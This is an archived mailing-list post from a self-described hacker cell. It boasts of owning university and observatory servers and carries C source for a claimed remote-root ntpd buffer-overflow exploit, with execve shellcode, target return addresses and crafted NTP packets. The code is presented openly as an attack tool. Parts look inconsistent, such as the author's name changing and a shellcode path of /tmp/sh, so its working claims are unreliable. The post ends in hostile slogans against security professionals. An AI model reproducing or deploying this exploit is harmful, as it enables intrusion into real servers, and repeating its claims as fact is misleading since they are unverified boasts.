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ntpd stack evasion exploit
From: !bSt bitwarz Security Team <bitwarz () gmail com>
Date: Tue, 10 Jan 2006 16:16:29 -0200

We are a cell of pr0j3kt m4yh3m in Latin America and western Europe.
We have owned many research centers in Latin America, for example the
ntp server at Observatorio Nacional, USP and UFRJ, in Brazil, home of our
member
ronaldinh0 and in many european universities,specially those ones knownby
their
high-profile computer science departments That's all. Keep the fucking
pr0j3kt m4yh3m
alive. Don't be confused by the evil words of
the CISSPs and white hats.

<-->ntpd_stack_evasion.c<-->
/* ntpd remote root no-exec stack evasion spl0it
 * by m0sk0v
 *
 * Ntpd is time protocol most used in *nix distros.
 *
 * Due to a buffer overflow in dump_srv.c is possible to execute
 * arbitrary code in remote host by setting "HUG=" variable
 * upon time protocol.
 *
 * This works even on stack protection using heap to
 * alock data
 *
 * 0day!!!!!
 * 0day!!!!!
 * 0day!!!!!
 * 0day!!!!!
 * PRIVATE! DONT LEAK THIS EXPLOIT!
 * PRIVATE! DONT LEAK THIS EXPLOIT!
 * PRIVATE! DONT LEAK THIS EXPLOIT!
 * PRIVATE! DONT LEAK THIS EXPLOIT!
 * PRIVATE! DONT LEAK THIS EXPLOIT!
 * PRIVATE! DONT LEAK THIS EXPLOIT!
 * PRIVATE! DONT LEAK THIS EXPLOIT!
 *
 *
 * Gr33tZ to :
 * Marcos Flavio Assuncao (defhack.com), Denny Roger/www.batori.com.br (thx
for
 * the shellcode, buddy!), ACME Security (www.acmesecurity.org), ksh
 *
 * [m0sk0v () cipsko m0sk0v]$ ./ntpd_stack_evasion.c -t2 localhost
 * ntpd_stack_evasion.c by m0sk0v
 *
 * Selected platform: RedHat Linux 9.0 with ntpd 4.0.99k-RPM (/tmp/sh)
 *
 * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query
 * [1] <- evil query (pkt = 512 | shell = 45)
 * [2] <- null query (pkt = 12)
 * /tmp/sh was hacked.
 * [m0sk0v () cipsko m0sk0v]$ ls -al /tmp/suid-shell
 * -rwsr-xr-x    1 root     bin       512540 Aug 22  2005 /tmp/suid-shell
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <arpa/inet.h>

#define NOP    0x90
#define ADDRS    8
#define PKTSIZ    512

static char usage[] = "Use: ntpd_stack_evasion.c [-o offset] <-t type>
<hostname>";

/* generic execve() shellcodes */

char lin_execve[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/tmp/sh";

char bsd_execve[] =
 /* specially made by denny () batori com br for ntpd_stack_evasion.c by m0sk0v
*/
 /* thanks for that, buddy! */
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/suid-shell\x01\x01"

"\x01\x01\x02\x02\x02\x02\x03\x00\x03\x03\x03\x9a\x04\x04\x04\x07\x04";

struct platforms
{
    char *os;
    char *version;
    char *code;
    long ret;
    int align;
    int shalign;
    int port;
};


struct platforms targ[] =
{
    { "FreeBSD 5.4-STABLE", "4.0.99k (/tmp/suid-shell)", bsd_execve,
        0xbfbff8bc, 200, 220, 0 },

    { "FreeBSD 5.4-STABLE", "4.0.99k (/tmp/suid-shell)", bsd_execve,
        0xbfbff540, 200, 220, 0 },

    { "RedHat Linux 9.0", "4.0.99k-RPM (/tmp/suid-shell)", lin_execve,
        0xbffff777, 240, 160, 0 },

    { NULL, NULL, NULL, 0x0, 0, 0, 0 }
};

long getip(name)
char *name;
{
    struct hostent *hp;
    long ip;
    extern int h_errno;

    if ((ip = inet_addr(name)) < 0)
    {
        if (!(hp = gethostbyname(name)))
        {
            fprintf(stderr, "gethostbyname(): %s\n",
                strerror(h_errno));
            exit(1);
        }
        memcpy(&ip, (hp->h_addr), 4);
    }

    return ip;
}

int doquery(host, ret, shellcode, align, shalign)
char *host, *shellcode;
long ret;
int align, shalign;
{
    /* tcpdump-based reverse engineering :)) */

    char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
              0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61,
              0x74, 0x75, 0x6d, 0x3d };

    char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
              0x00, 0x00, 0x00, 0x00 };

    char buf[PKTSIZ], *p;
    long *ap;
    int i;

    int sockfd;
    struct sockaddr_in sa;

    bzero(&sa, sizeof(sa));

    sa.sin_family = AF_INET;
    sa.sin_port = htons(123);
    sa.sin_addr.s_addr = getip(host);

    if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
    {
        perror("socket");
        return -1;
    }

    if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0)
    {
        perror("connect");
        close(sockfd);
        return -1;
    }

    memset(buf, NOP, PKTSIZ);
    memcpy(buf, q2, sizeof(q2));

    p = buf + align;
    ap = (unsigned long *)p;

    for(i=0;i<ADDRS/4;i++)
        *ap++ = ret;

    p = (char *)ap;

    memcpy(buf+shalign, shellcode, strlen(shellcode));

    if((write(sockfd, buf, PKTSIZ)) < 0)
    {
        perror("write");
        close(sockfd);
        return -1;
    }

    fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ,
        strlen(shellcode));
    fflush(stderr);

        if ((write(sockfd, q3, sizeof(q3))) < 0)
        {
                perror("write");
                close(sockfd);
                return -1;
        }

    fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3));
    fflush(stderr);

    close(sockfd);

    return 0;
}

int main(argc, argv)
int argc;
char **argv;
{
    extern int optind, opterr;
    extern char *optarg;
    int ch, type, ofs, i;
    long ret;

    opterr = ofs = 0;
    type = -1;

    while ((ch = getopt(argc, argv, "t:o:")) != -1)
        switch((char)ch)
        {
            case 't':
                type = atoi(optarg);
                break;

            case 'o':
                ofs = atoi(optarg);
                break;

            case '?':
            default:
                puts(usage);
                exit(0);

        }

    argc -= optind;
    argv += optind;

    fprintf(stderr, "ntpd_stack_evasion.c by m0sk1t0\n\n");

    if (type < 0)
    {
        fprintf(stderr, "Please select platform:\n");
        for (i=0;targ[i].os;i++)
        {
            fprintf(stderr, "\t-t %d : %s %s (%p)\n", i,
            targ[i].os, targ[i].version, (void *)targ[i].ret);
        }

        exit(0);
    }

    fprintf(stderr, "Selected platform: %s with ntpd %s\n\n",
            targ[type].os, targ[type].version);

    ret = targ[type].ret;
    ret += ofs;

    if (argc != 1)
    {
        puts(usage);
        exit(0);
    }

    fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n",
        (void *)ret, targ[type].align, targ[type].shalign);

    if (doquery(*argv, ret, targ[type].code, targ[type].align,
        targ[type].shalign) < 0)
    {
        fprintf(stderr, "Failed.\n");
        exit(1);
    }

    fprintf(stderr, "Done.\n");

    if (!targ[type].port)
    {
        fprintf(stderr, "/tmp/suid-shell was hacked.\n");
        exit(0);
    }

    exit(0);
}
<-->ntpd_stack_evasion.c<-->

Thanks to Denny Roger @ Batori Software for his support

--
bitwarz Security Team  !bST
http://bitwarz.narod.ru

# Save a bug, kill a white hat!


--
bitwarz Security Team  !bST
http://bitwarz.narod.ru

# Save a bug, kill a white hat!
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